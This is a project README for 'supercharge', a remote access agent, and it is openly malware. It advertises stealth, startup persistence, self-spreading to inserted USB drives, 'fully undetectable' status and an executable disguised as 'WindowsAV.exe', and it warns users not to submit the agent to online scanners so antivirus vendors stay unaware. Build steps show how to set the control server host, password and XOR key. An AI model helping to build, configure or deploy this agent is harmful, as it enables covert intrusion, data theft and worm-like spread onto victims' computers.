supercharge: A Python repository from quantumcore

Project Supercharge

NOTE

Do not by any means upload the Agent to online Scanners. Why? Because even if one of the engines finds the file suspicious, the service shares the result among all AV companies, allowing cyber-security firms insight on new types of malware that their engines are not currently detecting. Read here.

Project supercharge is a Remote Access Agent. The supercharge agent is mainly created to provide remote access to a Computer with Stealth and Persistence.

Features
Installing
Deployment
Bugs
Contributing
Thank you
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Project Supercharge Features

Feature	Detail
System Information	View System Information.
Persistence	Automatically add itself to Startup when first run.
Stealth	Automatically hide itself to a Location when first run.
Spreading	If supercharge agent is running and a USB/CD is inserted, The agent will copy itself over into it.
Message Box	Display a message box.
Encrypted Connection	Your communication is encrypted with a key of your choice.
Password Protection	Even though it's encrypted, It will authenticate with a Password hardcoded in the Agent.
Offline Bot Database	supercharge comes with an Offline Web App you can use to easily view all Agents that ever Connected and when.
Fully Undetectable	The Agent is fully undetectable.
File Upload/Download	Download and upload files.
Explore	Move around and view files.

Installing

Prerequisites

(NOTE : These are installed by setup script)

Mingw cross Compiler
Python 3

$ git clone https://github.com/quantumcore/supercharge
$ cd supercharge
$ sudo ./install.sh

Note : It can run on Windows, But I recommened a Linux Based OS. (Server side)

Deployment

Go to supercharge/agent and open file supercharge.hpp EG:

nano supercharge.hpp

Edit the Line SERVER_HOST and SERVER_PORT and the PASSWORD. EG:

#define PASSWORD "mysecretpassword" 
#define SERVER_HOST "127.0.0.1"
#define SERVER_PORT 3982

Make sure the password is the same you define in supercharge.ini. (Server side)

Go to supercharge/agent and openfile xor.cpp EG:

nano xor.cpp

4 Edit line (4) which contains the Encryption key. For Example.

std::string XOR(std::string data) {
    // Encryption KEY BELOW
    char key[] = {'M','Y','K','E','Y'};
    // DONT FORGET TO SET !
    std::string output = data;
    
    for (int i = 0; i < data.size(); i++){
        output[i] = data[i] ^ key[i % (sizeof(key) / sizeof(char))];
    }
    return output;
}

Compile the Agent On Windows

make

On Linux

make linux

This will generate the Supercharge agent named WindowsAV.exe with an ICON.

Server Side Settings

Setting the Encryption key. Open file kernel/infodb.py in your text editor and edit line 31 to your encryption key. It can be anything. For Example.

$ cd supercharge
$ nano kernel/infodb.py

def xor(data):
    # Encryption KEY! EDIT ME !
    key = ['M','Y','K','E','Y']
    # Encryption key ABOVE!
    output = []
    for i in range(len(data)):
        xor_num = ord(data[i]) ^ ord(key[i % len(key)])
        output.append(chr(xor_num))
    return ''.join(output)

Setting the Password. Open file supercharge.ini and you can just simply change the values.

Bugs

Fixed

Broken Connection Problems. ✔️
Password Authentication buffer overflow. ✔️
Remove wchar_t functions (Old code) ✔️
File Execution bug. ✔️
File Download byte bug. ✔️
Windows 10 detected as Windows 8. (Thanks to @dannyvsdev) ✔️
WAN IP Bug.

Contribute

If you would like to help me! Please do so! Also, I do not use branches because I always end up pushing to master. So, I always create another repositroy (private) for developement. So if you would like to help me, Contact me.

quantumcore/supercharge